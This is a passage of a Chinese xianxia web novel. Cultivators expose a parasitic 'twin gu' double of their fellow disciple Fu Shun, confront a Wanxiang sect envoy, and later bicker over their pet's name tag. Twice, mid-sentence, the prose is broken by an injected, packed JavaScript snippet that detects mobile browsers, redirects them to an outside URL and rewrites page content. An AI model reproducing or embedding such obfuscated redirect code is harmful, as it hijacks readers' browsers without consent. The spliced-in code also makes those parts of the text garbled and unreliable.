墨墨便缩回了鼻子,步云邪白日里见有人抱着只白色的卷毛狗儿来看拍卖会,小狗脖子上戴着个金项圈,还挺好看的。他摸了摸自己的崽子,道:“给你打个金牌子吧,挂在脖子上,让人知道是有主的。” 段星河觉得这主意不错,随手把自己的两颗金瓜子给了他,道:“那两颗不够融的,加上我的吧。” 步云邪也不跟他见外,接过了金子道:“算你入股了,我儿子以后长大了也管你叫爹,给你养老。” 段星河笑了,这些人跟着于百川一点好不学,一个个都会画大饼了。 一行人回了驿馆,打算休息几天。步云邪在丹房打坐,其他人各自静心修炼。段星河修炼的心法叫做四正罡气,是吸收天地之间至纯之气化为己用的法门。师父教别人的都是寻常的行气之法,却把逍遥观掌教才能修习的心法传给了他,足见对他这个长徒的器重。 屋里的灯火昏暗,赵大海盘膝而坐,正在行气。他入门晚,位份排在了伏顺后面,资质也不怎么行,练了这么多年始终没有太大的长进。但他不想放弃,就算修炼不成,至少也能强身健体。 他感觉一股像针一样的热流在身体里走了一圈,缓缓回到了丹田里。他睁开了眼,见伏顺躺在对面的床上,咯吱咯吱地挠着头皮,这都好几天了,他的头居然还在痒。 赵大海道:“兄弟,你怎么不修炼,光挠头算怎么回事?” 伏顺已经挠得气若游丝了,半闭着眼道:“你别管我。” 赵大海替他愁的慌,道:“洗个头吧,我给你打水?” 伏顺烦躁道:“白天已经洗了三次了,没用!” 大家帮他看过了,他头上没有虱子跳蚤。但挠了这些天,头皮已经抓的很脆弱了,一沾着水就疼,可挠起来他又不觉得疼了。赵大海担忧道:“老这么拖着不是个办法,明天去看看郎中吧?” 伏顺烦躁地翻了个身,道:“再说吧。” 赵大海也累了,扯开被子打算睡觉。他躺了一会儿,听着对面挠头的声音一直没停,咯吱咯吱,咯吱咯吱咯吱咯吱—— 咯吱咯吱咯吱咯吱咯吱咯吱。 那声音离他越来越近,好像就是从他身后传来的。赵大海感到一阵毛骨悚然,忽地翻过身来,院子里的灯光透过窗户纸照进来,屋里一点微弱的光亮映着伏顺的脸。 他站在床前,用力地挠着头,阴影笼罩着赵大海,道:“我的头好痒,好痒啊。大海,你来帮我挠挠。” 他枯瘦的脸扭曲着,眼窝深陷,鲜血顺着他的手指直往下淌,流的满脸都是。赵大海瘆得不行,怀疑他被鬼上身了,下意识往后缩去,道:“你冷静一下,有话好好说……” 他说着一个打滚下了床,拉开门跑了出去。段星河刚睡着,就听外头哐哐哐一阵擂门。他揉了揉眼,起身道:“怎么了?” 赵大海急道:“不得了,伏顺一个劲儿地挠头,挠的满脸都是血还不停,你们快去看看吧!” 他肉眼可见的慌张,八尺高的壮汉,吓得浑身筛糠似的抖,跟个孩子似的。 于百川也醒了,披上外衣道:“看看去。” 三个人大步奔过去,见伏顺正拿脑袋往墙上撞,一边撞一边喊:“好痒,我脑袋里有妖怪,我要跟它同归于尽!” 他面目狰狞,撞得头破血流的,好像疯了一样。段星河吓了一跳,连忙道:“快拉住他!” 于百川和赵大海一左一右,扯住了伏顺的两根胳膊,把他往后拖去。伏顺像野兽一样拼命挣扎,嘶吼道:“放开我,放开我啊啊啊——好痒,好痒好痒好痒,我要死了!” 他发起疯来十分难控制,地上流的满地都是血。于百川被他一口咬住了胳膊,疼得一把甩开了他,怒道:“干什么,你属狗的?” 他这样好像是中了什么邪术,步云邪是寨子里的祭司,最擅长驱邪。段星河吼道:“赶紧按住他,我去叫阿云!” 伏顺爬起来,红着眼还要咬人,赵大海冲过来一拳打在了他肚子上。伏顺倒在地上,发出了撕心裂肺的嚎叫:“凭什么你们不痒,我的头好痒,好痒啊啊啊啊——” 赵大海按不住他,干脆一屁股坐在了他背上,道:“对不住了兄弟,你消停一会儿,大家这就帮你想办法!” 伏顺像个乌龟一样,被压在地上还拼命地刨着四肢,把赵大海顶的东倒西歪的,平时也看不出来他有这么大力气。于百川从屋里的帷幔上扯下一根绳子,大声道:“不行就绑起来吧,先拿块布把他的嘴堵上,免得他咬人。” 赵大海也没了主意,道:“好,我抓着他你绑!” 步云邪最近一直在炼丹,大约要闭关半个月。事出突然,段星河只能去打扰他了。他敲了敲门,急道:“阿云,快出来,伏顺出事了!” 步云邪刚打完坐,此时还没睡,开了门道:“怎么了?” 段星河道:“他头痒的厉害,挠的满脸都是血还咬人。” 步云邪也十分诧异,前阵子他见伏顺老是挠头,还以为是他冬天嫌冷不洗头才会痒,没想到这才几天不见就发展的这么严重了。 两人出了门,快步往后面奔去。穿过月洞门,就见前头有个人影,呆呆地站在院子里。那人的身体瘦削,肩膀微微耸起,却是伏顺。他一见段星河便露出痴痴的笑容,摇摇晃晃地走了过来。 “大师兄,呵……呵呵……” 段星河感到了一丝不对劲,伏顺刚才还满脸是血,头发都揪掉了一大把,衣服也撕的破破烂烂的了,怎么才一会儿功夫没见,他就像没事人一样了? 步云邪悄悄地扯住了段星河,示意他先别过去。 段星河站住了脚,道:“你好了?” “好了,”伏顺痴痴地笑道,“就是头还有点痒,大师兄,你帮我看看——” 他身子一歪,把脑袋以一个僵硬奇怪的姿势伸过来,好像他的头不是长在自己的脖子上,更像是递一个包袱似的。段星河一时间也不知该如何是好,这时候就听前头院子里传来一阵喊声。一个脸上淌满了血的人从那边跑过来,脑袋上被他自己薅秃了一块,却是伏顺。 于百川和赵大海追着那个秃头伏顺跑出来,一边喊道:“别跑,站住!” 秃头伏顺身上还挂着一截绳子,竟然是挣断了绳索跑出来的。他边跑边挠头,嘶声道:“好痒,好痒好痒好痒,凭什么你们不痒,凭什么!” 赵大海追着他跑到中庭,看到了那个干净整齐的伏顺,有些莫名其妙。他下意识转过头去,见那个鲜血淋漓的伏顺站在另外一边。两个伏顺面面相觑,几乎一模一样,跟照镜子似的。 于百川也诧异地停下了脚步,不敢相信自己的眼睛。赵大海吓得脸都白了,哑声道:“怎么回事……怎么有两个你!” 月光照下来,映亮了那两个伏顺的脸。段星河发现,他们俩还是有细微的差距的。 有头发的那个虽然衣着整齐,但身上缺乏一股生气,五官也介于一种似像非像的状态。若不是在夜间出现,他还骗不了人。而把自己扯成斑秃的那个伏顺,虽然面目狰狞张牙舞爪,却能让人感觉到他身上是有活气儿的。 秃头伏顺见面前有个人长得跟自己一样,诧异道:“你是谁?” 干净伏顺道:“我是伏顺,你是谁?” 秃头伏顺喃喃道:“你是我,那我是谁?” 他说着头又开始痒了起来。他心烦意乱,巴不得对方赶紧消失,索性冲过去厮打那个人。那人也不甘示弱,猛地一跃把秃头伏顺扑倒在地,张开了血盆大口,狠狠地咬住了他的肩膀。 秃头伏顺疼得惨叫起来,两条腿用力踢蹬,嘶声喊道:“死王八,松口!” 其他人都慌了,一拥而上想把他俩分开。于百川费劲地掰开咬人那个的大嘴,把秃头伏顺放了出来。赵大海架着秃头伏顺的咯吱窝,把他往后拖去。 李玉真听见动静赶过来,却见院子里闹哄哄的,居然有两个伏顺在互殴。他诧异道:“啊这……这怎么回事?” 整齐伏顺的嘴角撕裂了,血流了一地,却好像不知道疼似的,坐在地上吃吃直笑。秃头伏顺吓坏了,往后挪了几下,瞪着他道:“你到底是谁,为什么扮成我!” 对方没说话,身上却浮起了一丝幽黑的邪气。仿佛受到那股邪气召唤一般,秃头伏顺的头皮上有几团黑色的东西蠢蠢欲动,就像墨水滴进清水里一般,一丝丝黑气凝结成缕,轻飘飘地浮了起来。 那些黑色的怪东西脱离了伏顺的脑袋之后,他总算没那么痒了,却感到一阵深入骨髓的疼。他的头皮已经挠得没有一块是完整的了,一旦不痒了之后,疼痛才渐渐显现出来。 “啊啊啊啊啊啊——” 伏顺捂着脑袋,后知后觉地满地打滚,喊道:“我的头好疼,好疼啊!” 那几缕黑色的东西飞到了另一个伏顺面前,像蘑菇一样膨胀起来。那人两只手抓住几个黑色的蘑菇,贪婪地塞进嘴里,咯吱咯吱地咀嚼着。片刻一大滩黑色的黏液从他的嘴角、耳朵和鼻孔中涌出来,冒着泡爬满了他的整张脸,迅速地修复了他嘴角的裂痕,又顺着脖子往下蠕动,渐渐地生成了他的整个身体。 那情形实在太怪诞了,简直让人无法理解,就算做噩梦也梦不到这么离奇的情形。众人都生出了一阵恐惧感,一时间谁也不敢乱动。 假伏顺修复了身上的伤口,缓缓抬起头。段星河发现他比刚才更像了,眼里多了几分精明的神采,只是身上隐约带着一股邪气。反倒是秃头的伏顺被吸走了精气神,干枯委顿,还不如那个假货像自己。 看来那假伏顺是通过那些附着在人身上的黑色孢子吸取精气的。活人一旦被寄生了,就会因为精气被盗泄而觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13281314|138533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得虚弱无力,或是奇痒难忍。那些寄生物吸收了足够的养分,学会了宿主的行为模式,就会形成一具跟原主极其相似的皮囊,供邪灵寄居,几乎能够以假乱真。 刚才要不是两个伏顺同时出现,自己这些人都要被他骗了。段星河意识到这玩意儿相当不得了,不但能取代原主,还能盗取其本来的身份、地位和财富,渗透进一切想要渗透的地方,对于任何一个人和宗门来说,都是极其危险的。 假伏顺摇摇晃晃地站了起来,他看着段星河,笑嘻嘻地说:“大师兄,我头痒得很,你快过来……过来帮我看看。” “别过去!”于百川意识到了这是什么,大声道,“这是双生蛊,他是万象门的人!” 假伏顺被揭穿了身份,装不下去了,索性张开大嘴朝段星河扑了过来。段星河手中已经凝结了一道白森森的寒气,一掌拍在那邪门玩意儿的头上,道:“好,我就给你看看。” 假伏顺被打的脑袋一歪,浑身被寒气裹住了,僵硬得难以动弹。步云邪趁机一剑斩过去,唰地一下划破了他的肚子。 一道黑气逸散出来,他的肚子里空荡荡的,心肝脾肺肾一样都没有,只有些冒着泡的黏液。 “嗷嗷嗷嗷嗷嗷嗷——” 假伏顺发出了一声歇斯底里的嚎叫,倒在地上魂飞魄散,只剩下一个孢子生成的皮囊扁扁地落在地上。 众人一时间都不敢动,仿佛还没从那噩梦一般的情形中醒过来。段星河走过去,踢了踢那具皮囊,两根手指把它捏了起来。 一股腥臭味扑面而来,就像积累了十年鱼鳞和臭水的鱼摊子一样,那家伙活着的时候也没有这么大味儿,死了居然这么呛人。李玉真被熏的后退了一步,道:“妈耶,这什么味儿!” 段星河也有点受不了,把那张人皮扔在地上,打了个响指。他手指尖冒出了一团火苗,想把这污秽东西烧了。 “慢着,谁让你动我的东西了?” 众人一诧,抬眼望过去。夜空中传来一阵银铃般的轻笑,一道银红色的身影带着个庞然大汉,乘着一条硕大的赤练蛇从天而降。那红衣女子与大汉落了地,抬起纤手一招,道:“小麻绳,回来吧。” 赤练蛇嗖地一下变得只有手指那么粗,像一截麻绳一样钻进了她的衣袖里。 段星河想起来了,来的人正是前几天在拍卖会上跟千机门作对的那个美女。她身后跟着那个巨灵神一般的汉子,衬得她的身段越发妖娆,灿若桃花一般。那美女的眼波妩媚,又藏着几分危险的意味。她看着地上的皮囊,惋惜道:“你们怎么这么残忍,这里头是我的大伥,养了好久了,那么听话,你们怎么说杀就杀?” 段星河皱起了眉头,道:“这是你养的?” “是啊,”美女理所当然道,“你们能养只长鼻子小猪玩,我养只小鬼又怎么了?” 伏顺原来还有些垂涎这女子的美貌,此时见到她就像见了鬼一样,忍不住往后退去,哑声道:“救我,救我!” 赵大海默默地把他挡在身后,道:“别怕,大家都在呢。” 段星河道:“你是万象门的人,为什么害我师弟?” 美女微微一笑,道:“什么叫害他,我是瞧着这小子鬼头鬼脑的有趣,就想做个他的人偶耍一耍。你们这就生气了,也太玩不起了吧?” 那大个子抱起了那具皮囊,大家以为他要把它埋了。那美女却道:“这么好的东西可不能浪费了,给我吧——” 她张开樱桃小口一吸,三两下就把那具皮囊吞了进去。那东西散发着恶臭,闻一下都让人作呕,她居然吃得下去。众人都觉得极其恶心,更有种难以言喻的恐惧感。女子吸收了其中的精气,肌肤变得水嫩嫩的,嘴唇越发红艳,整个人精神焕发,比刚才更美丽了。 这时候就见一片灯火随着稀里哗啦的脚步涌了过来,原来是驿丞听见了声音,带着侍卫赶过来了。几十个人提着灯笼照着庭院,把他们围在中间。有人大声道:“什么人!” 段星河向前一步,注视着她道:“你到底是谁,想干什么?” 那女子根本没把这些人放在眼里,傲然道:“本姑娘行不更名坐不改姓,我叫薛红玉,是万象门教主座前的赤练使。教主派我出来传教,我看你们几个资质不错,有没有兴趣加入我们啊?” 万象门供奉的虺神就是一条大蛇,门中的人也以各种蛇自居。这女子妖娆艳丽,确实像一条赤练蛇。众人一早就见识过万象门养的伥鬼,今日又见识了他们的邪法,觉得既可怖又恶心,躲还来不及。段星河冷冷道:“不必了,我们是钦天监的人,为大幽皇帝办事。” 薛红玉嗤笑道:“哎呦,吃皇粮了不起么。年纪轻轻就这么一板一眼的,真没意思!” 她瞥了一眼周围,驿丞带来的人手里都提着刀,虎视眈眈地盯着她。她打了个呵欠,道:“得了,今天你们人多,姑娘懒得跟你们啰嗦,咱们改天再见吧。” 她说着一摆手,银红色的衣袖轻轻飘荡,里头藏着的赤练蛇钻了出来,漂浮在半空中。她带着那大个子一跃而上,就这么堂而皇之地飞走了。 其他人面面相觑,赵大海道:“她来就是为了回收那张皮囊么?” “是吧,”李玉真道,“那玩意儿对于邪修来说应该挺重要的,扔了可惜呗。” 赵大海感叹道:“人倒是长得不错,就是吃的东西太不讲究了。” 伏顺一想刚才那情形就受不了,苦着脸道:“别说了,忒恶心!” 驿丞带人追了出去,大街上空荡荡一片,那两个人早就不见踪影了。一帮侍卫像没头苍蝇似的在街上转了一圈,无功而返。驿丞只得回来禀报道:“步大人,小贼不见了。” 跑的不如飞的快,找不着也很正常。步云邪淡淡道:“好好守着驿馆,别放松警惕。” 驿丞道:“是。” 段星河把伏顺扶了起来,拍去了他身上的土,道:“没事吧?” 伏顺还心有余悸,道:“没事……我头不痒了,可是现在好疼啊。” 段星河有些好笑,道:“让你少挠两下不听,头皮都破了能不疼么。” 步云邪拿他没办法,道:“我给你涂点药,跟我来吧。” 众人回了屋,伏顺坐在床边,一脸倒霉地说:“我以后是不是就秃顶了,娶不到媳妇怎么办?” 赵大海安慰道:“过一个月就长出来了,到时候抹点生姜,保准比以前长得还多。” 步云邪给伏顺清理了伤口,敷上了药。伏顺的脑袋被绷带包着,听东西都嗡嗡直响,整个人像闷在一口大缸里似的。 回想起来,之前伏顺就在院子里见过一个黑影,从那之后他就开始头皮发痒。他应该就是那时候遇到了万象门的人,不知不觉被种上了双生蛊的孢子。 李玉真道:“他们为什么要伪装成咱们的人的模样?” 他们这一队人为炼制长生丹向西而行,一路上已经吸引了不少人的注意。有人把他们当成乐子瞧,有人对他们心生忌惮,也有人打算静观其变,万一有了成果,还想坐收渔人之利。段星河道:“应该就是想放个眼线,盯着咱们。” 伏顺不知道他们怎么就选中了自己当那个倒霉蛋,后怕道:“他们是不是还想杀了我灭口?” 众人沉默下来,那家伙悄悄地跟了伏顺这么多天,把他的一举一动都模仿的惟妙惟肖。如果刚才大家没发现有两个他,真的伏顺很可能就被假的取代了。 伏顺出了一头冷汗,感觉自己在鬼门关走了一趟。这种被人暗中观察的感觉很不舒服,段星河沉吟道:“他们是什么时候注意到咱们的?” 步云邪想起了之前在玄武山被方白鹭等人追杀的事,道:“长生观也是万象门的人吧,说不定就是那时候他们跟上头通了气,那女人才来的。” 李玉真有点担心,道:“那他们以后再偷偷在咱们身上种蛊怎么办?” 赵大海道:“中蛊的人脑袋不是会一直痒吗,这么明显不可能不被发现啊。” 于百川忽然开口道:“有时候头会痒,有时候没感觉,不一定的。” 19.双生蛊 三 屋里的灯光昏黄,于百川坐在晦暗的角落里,从刚才起就不怎么说话,好像有心事。段星河想起纵横派就是因为万象门的教主谗言挑拨,才被大幽皇帝灭了满门的,心微微一沉。于百川虽然一向没什么正形,见了万象门的人,心里应该恨得很。 他道:“你见过?” 于百川低着头,神色有些阴沉,道:“我有个师兄就中了这种蛊,他跟我住一个屋,从来没说过哪里不舒服。有一天他忽然发起疯来,见人就咬,兄弟们冲上去按住了他,几拳下去他就变成了一具空皮囊,就跟刚才那怪物一样。” 李玉真有种不祥的感觉,道:“原来的那人呢?” 于百川沉默了片刻,道:“不知道,大家找了很久,最后也没找到他。” 他虽然这么说,大家都明白,原来的宿主很可能被双生蛊复制的假人杀了,甚至连尸体都可能被吞噬了。这种事防不胜防,实在让人很没有安全感。 一想到身边的伙伴随时都可能被陌生人取代,对方还在默默地观察自己的一举一动,伺机下手,就让人毛骨悚然。 屋里的气氛凝重,赵大海安慰道:“多小心就是了,咱们运气好,不会有事的。” 于百川的脸色依然很不好看,道:“没用的,这帮人就像附骨之疽一样,一旦被他们盯上就完蛋了。” 他原本也觉得万象门不过是一些上不了台面的邪修,不学无术,不值一哂,可皇帝就是信任他们。纵横派那么多弟子,读了不少书,胸怀经天纬地之志,还没做出一番事业就被害死了。于百川对万象门的恨深入骨髓,那种痛苦和绝望,没有亲身经历过的人是不会明白的。 他本来就东躲西藏的,生怕被仇家斩草除根。如今段星河他们也被万象门盯上了,跟他们在一起危险太大,他不能拿命赌。于百川站起来道:“我得走了,你们多保重吧。纵横派只剩下我一个人了,我还得去广招弟子,复兴门派。” 他拍了拍段星河的肩膀,郑重道:“好好活下去,兄弟,咱们有缘再见。” 他说着大步走了出去,竟打算就这么跟他们分道扬镳了。 赵大海茫然地看着他的背影,道:“一遇上麻烦就自己跑路,这人也太不讲义气了吧?” 段星河倒没有太失望,反正于百川一向都这样。他身上背着复兴门派的责任,活下去确实比什么都重要。步云邪也道:“人各有志,别管他了。” 天还不亮,能再睡一会儿。段星河回了屋,隔间里于百川的行李已经不见了,这人说走就走,也是够利索的。 平时热闹的屋里,此时冷冷清清的,床头还放着看完的利辨经。段星河叹了口气,不管怎么样,是他让自己凡事多长个心眼儿。自己虽然吃了他不少亏,却也学了不少江湖经验。 段星河刚来这个世界来时,对人毫不设防,结果处处碰壁。他被抓到采石场当过奴隶,也当过皇帝的座上宾,享过尊荣也受过不公的践踏,好几次差点被人害死。短短半年里,他仿佛经历了别人一辈子的事,转头想一想,却好像一眨眼就过来了。 他跟紫衣侯、李玉真那些天生贵命的人不同,自己是个一无所有的人,若是不去争抢,没有人会平白把钱送到他手里。 他们漂泊在外,不但要为自己打算,也得时刻防着外人。于百川说的没毛病,坏人坏,他们就得比坏人更坏,要不然在这世道就只有被宰割的份儿。 他不想被任何东西裹挟,他要主宰自己的命运,还要保护身边的人,用一些手段也未尝不可。他的手搭在利辩经上,轻轻地摩挲,书他已经读透了,接下来还有很多危险等着他们。 这个世界上强大的人太多了,他们几个筑基期的修为根本就不够看。段星河的目光沉了下去,没有其他的途径,必须想办法获得更多的资源,尽快让自己和兄弟们变得强大起来。 昨天晚上闯进了妖人,驿丞如临大敌,马上加强了守卫的人数。一大早就见他亲自拿着一大包朱砂和雄黄混合的粉末洒在驿馆周围,防止邪祟入侵。 这么做也有些效果,但只能驱赶一些毒虫和小妖,对付稍微有些修行的邪修就不好使了。 段星河昨天见过那个假人之后,就草木皆兵的看谁都信不过,盯着驿丞多看了几眼。驿丞巴不得他看到自己勤谨办事,热情地跟他打了个招呼。 “段司晨,早啊。” 段星河倒了洗脸水,道:“这么早就起来忙活?” 驿丞道:“都是分内的事,驱驱邪,日子过得也放心。” 他看段星河他们待得挺安稳的,没有要走的意思,道:“大人们要在这边过年么?” 距离过年还有一个月的光景,天寒地冻的,段星河打算在这里休息一下,伏顺也能养养身体,把头发长回来。他道:“在这儿炼炼药,等开春再走吧,叨扰你们了。” 驿丞搓了搓手,笑呵呵道:“您这是什么话,就盼着你们留下来过年呢,人多热闹!” 段星河想伏顺他们应该还没吃东西,从厨房拿了包子和小米粥去看他们。伏顺脑袋上包着厚厚的绷带,靠着床头坐着,看起来可怜巴巴的,又有点好笑。赵大海拿着块巾帕打湿了,给伏顺擦了擦脸,把他擦得东倒西歪的。 伏顺的鼻子都要被他擦到耳朵上去了,埋怨道:“轻点,有你这么对待病人的么?” 赵大海道:“那你自己来啊。” 伏顺脑袋疼的厉害,顿时把脖子一缩,连脸都不想洗。段星河正好进来了,道:“感觉怎么样?” 伏顺闷声道:“好点了。” 段星河把食盒放在桌子上,道:“吃点东西吧。” 赵大海正好饿了,自己端起一碗粥唏哩呼噜地喝了。伏顺的下巴被绷带绕着,嘴只能张开一条缝。段星河也有耐心,喂孩子似的拿勺子一点点喂他吃了饭。伏顺十分感动,道:“大师兄,你真好,比大傻强多了。” “你个没良心的,”赵大海不服气道,“大师兄才来一次你就夸他,我一直照顾你,你都不记我好!” 伏顺嫌他粗鲁,道:“你那不叫照顾,叫喂牲口。” 逍遥观里孩子多,以前师娘看不过来的时候,段星河就得给她帮忙,不但会喂饭,连绑辫子、换尿布、骗小孩吃药都会。他虽然外表跟这些不搭边,其实身怀绝技,平时根本就看不出来。 喂完了饭,他对赵大海道:“咱们年前不走了,好好照顾他。” 步云邪最近得空,寻思弄点补品给伏顺养养身子,但鸡汤之类的都是杯水车薪。他想起自己手头还有一些赤藤妖晶,便配伍其他药材,炼了几颗聚灵丹给伏顺。那些赤藤妖的内丹里吸收了不少灵植的精华,是难得的好东西。 伏顺没生病之前,没意识到大家对自己这么好。见步云邪特意给自己炼丹,一点也不心疼药材,简直受宠若惊。他道:“二师兄,这么好的东西,给我吃不浪费了么?” 他虽然这么说,却眼巴巴地看着那几颗金丹,生怕步云邪收回去了。 步云邪道:“有什么好浪费的,你赶紧好了比什么都强。” 伏顺吃了聚灵丹之后,整个人都精神多了,没几天就拆了绷带,头皮也愈合了。再去看他的时候,他盘着腿坐在炕上跟赵大海玩叶子牌,身边扔着一截大姜,想起来就往头皮上擦一擦。 屋里热乎乎的,冬天又不开窗户,弥漫着一股浓郁的脚臭味、橘子皮味、上顿吃的韭菜盒子味,被大姜辛辣的味道一扬,熏得人眼睛都疼。步云邪一掀开棉布帘子,顿时感到一股臭气扑面而来,皱起了眉头。段星河大步过去打开了窗户,寒风呜地一声扑了进来。伏顺连忙把被子卷到了身上,道:“大师兄,你干嘛!” 段星河面无表情道:“你好了?” 伏顺身在鲍鱼之肆久闻不知其臭,神采奕奕道:“好了,昨天大海说我头上长了一层绒毛,你看看!” 他把头探过来,段星河看了一眼,确实开始长头发了。他道:“屋里味这么大,你怎么待的住的?” 伏顺耸了耸鼻子,道:“臭吗,我没感觉到啊。大海,是不是你该洗脚了?” 赵大海十分委屈,道:“我昨天刚洗了,肯定是你脚臭。” 伏顺道:“我养伤都不下床,脚怎么会臭!” 他说着缩回被窝里闻了闻自己的脚,登时感到一阵酸爽,熏得打了个喷嚏。段星河道:“我看你伤口都愈合了,赶紧洗个澡吧!” 伏顺还怕把自己刚长出来的宝贝绒毛搓掉了,道:“洗澡不急,我先洗个脚,保证不再熏人就是了。” 屋里味这么大,步云邪已经在外头站着了,宁可冻着也不能臭着。段星河不想多待,也出去了。两个人一起往回走,段星河道:“那聚灵丹还挺有效果的,这才几天,就好的跟没事人似的了。” 步云邪道:“我看他头上挠了不少疤,留疤的地方应该长不出头发来了。” 反正不是自己秃,段星河毫无危机感,道:“他头发本来就稀,等以后长长了,从边上支援一下就行了。” 步云邪想象了一下那个情形,忍不住笑了。两人踏着薄雪往回走,空气中弥漫着寒意,有种安宁的感觉。路边生着些青松,几只麻雀在墙头跳了几下,扑棱棱地飞走了。步云邪穿着一身白色的衣袍,乌黑的头发垂下来,仿佛画中人走出来一般。路边扫雪的侍卫望见了他,忍不住停下来,目光一直追着那两人的身影。 另一人低声道:“看什么?” 那人道:“修道的人跟一般人就是不一样啊,身上有股仙气,跟从云里来的似的。” 另一人搂着苕帚看了片刻,感叹道:“确实。” 步云邪寻思着自己的事,道:“赤藤妖的内丹挺好用的,趁着还在这里,咱们再去收集一些吧。” 段星河道:“你不怕冷?” 步云邪道:“我是水灵根嘛,越冷越精神。” 出去抓几只妖,正好练一练功夫。段星河便笑了,道:“行,等会儿跟李玉真说一声。咱们去外头扎半个月的营,回来正好过年。” 次日一早,赵大海穿着大棉袄,带上了帐篷和充足的干粮,驾着大车去了先前那个废弃的苗圃。伏顺听说要出门,照了半天镜子,觉得自己中间秃,边上多,实在太难看了。他虽然人长得一般,但还挺注意形象,特意上街找师傅给自己剪了个寸头。等从郊外回来,应该就能长得一样长了。 他头上戴着个狗皮帽子,揣着手坐在车里,呼出来的白气都打着颤:“呜,好冷啊。” 李玉真在他对面道:“说了让你在驿馆养伤,跟出来干嘛?” 伏顺不想一个人被扔下,道:“跟着你们挺好的,就算抓不了妖怪,帮你们看看火、拾拾柴也行啊。” 大车来到了上次他们扎营的地方,地上还残留着他们烧过火的痕迹,背阴处堆着积雪。赵大海和段星河扎起了帐篷,伏顺叉着腰大声道:“赤藤妖们,颤抖吧,我们又回来了——” 树林里回荡着他的声音,“我们又回来了,们又回来了,又回来了,回来了,来了,了——” 李玉真搭着篝火堆,一边道:“你就喊吧。要是一个都逮不到,就是你吓跑的。” 伏顺大大咧咧道:“怕什么,它们又听不懂人话。精一点的闻见咱们的味儿就跑了;剩下那些傻的,见了人也不知道躲。” 李玉真摇了摇头,道:“歪理一套一套的。” 赵大海看着面前的白桦树林,上次来的时候还有不少黄叶,这回已经是光秃秃的了。赵大海伸手一指,道:“伏顺,你看这树,像不像你的脑袋?” 李玉真嘿的一声笑了,伏顺仿佛受到了侮辱,道:“你再说,我让你跟我一样!” 他举拳去打赵大海,赵大海哈哈地笑着跑了,两个人猴子一样蹦来跳去的,把雪踢得到处飞散。步云邪看了一眼太阳,刚到中天,下午就可以猎妖了。 众人搭好了营地,休息了一阵子,段星河便拿着剑起身了,道:“大家两人一组,别走太远,天黑之前回来集合。” 他和步云邪一组,赵大海和李玉真一组,伏顺的身体还没养好,留下来看营地。墨墨蹲在步云邪的肩膀上,它最近长得很快,步云邪扛着它已经有点吃力了。他道:“宝,下来自己飞吧。” 墨墨怕它爹不要它了,深吸了一口气,让自己显得瘦一点。吸气是有点效果的,它从一个球形变成了一个胖葫芦形,步云邪头一次发现他儿子还是有腰的。 段星河哈哈地笑了,道:“你不胖,过冬嘛,添点膘很正常。” 他伸出手臂道:“没事,二爹扛着你。” 墨墨摇了摇头,抖开翅膀自己跟着他们飞。它脖子上戴着个黑色的皮项圈,下面挂着个圆形的金牌子,亮闪闪的很好看。牌子正面刻着它的名字,步墨墨。背面刻着它的另一个名字,段瓜皮。 打牌子的时候,两个人就崽子该跟谁姓争了一天。墨墨虽然喜欢跟着步云邪,但好像也挺亲段星河的。每次见到他都把鼻子扬得老高,眼睛亮晶晶地追着他,等他从口袋里摸出牛肉干来投喂自己。 步云邪道:“它是我捡的,当然要跟我姓。” 段星河不但入股了两颗金瓜子,还在生活上天天照料它,觉得自己值得一个冠姓权。他道:“你一闭关就十天半个月不出来,它都是我养的,搬运东西也是我教的,我难道不重要?” 步云邪道:“你不愿养给李兄养,孩子这么可爱,跟着你难道你还亏了?” 再可爱的灵兽,天天伺候它吃喝拉撒也是件麻烦事。段星河抬起袖子道:“你炼丹的时候,我在给它煮牛肉干。你打坐的时候,我在给它晒牛肉干。你闻闻我身上都是一股牛肉干的味儿,你总不能让我白干吧?” 步云邪皱起了眉头,道:“怪不得几天不见就长这么胖。我说了一天三个苹果三个窝头,一碗牛奶加一把牛肉干就够了,给它吃这么多肉干嘛?” 李玉真在旁边看着,也不敢说话。他见过段星河投喂墨墨,那叫一个大方。岂止吃肉管够,还给它吃了好多橘子、胡萝卜、生南瓜,有一段时间把崽子喂得小脸通黄,黑色的皮毛都要盖不住了。 段星河理直气壮道:“孩子长身体的时候,多吃点怎么了?捡到的时候是你要养,真到铲屎喂饭你就不管了。” 步云邪确实一直忙着修炼,没顾得上照顾墨墨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13281854|138533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。他恼羞成怒,使出了杀手锏:“那又怎么样,你当初还不想要它呢!” 段星河顿时慌了,一把捂住了步云邪的嘴,道:“呸呸呸,当着孩子胡说什么呢!” 墨墨怀里抱着个苹果,坐在桌子上看他俩吵架,一脸茫然。 两人吵了半天也没吵出结果,最后决定猜拳,三局两胜。 李玉真揣着袖子在一旁做公证人,两人第一次都出了剪子,第二次都出了锤头,第三次都出了包袱。步云邪断然道:“他出晚了,他故意跟我出一样的!” 段星河无辜道:“我没有,李兄作证。” 李玉真慎重地说:“我看他没作弊。既然三次都一样,这也是天意,要不然就起两个名字吧。” 两人虽然不甘心,但也没有更好的办法。反正牌子有两面,一面打一个名字也说得过去。 他们并排走在树林里,段星河唤道:“段瓜皮。” 墨墨咕叽应了一声。步云邪不服气,道:“步墨墨。” 墨墨便拍着翅膀,朝它亲爹飞了过去。段星河掏出了牛肉干,在它身后引诱道:“刚晒好的,吃不吃?” 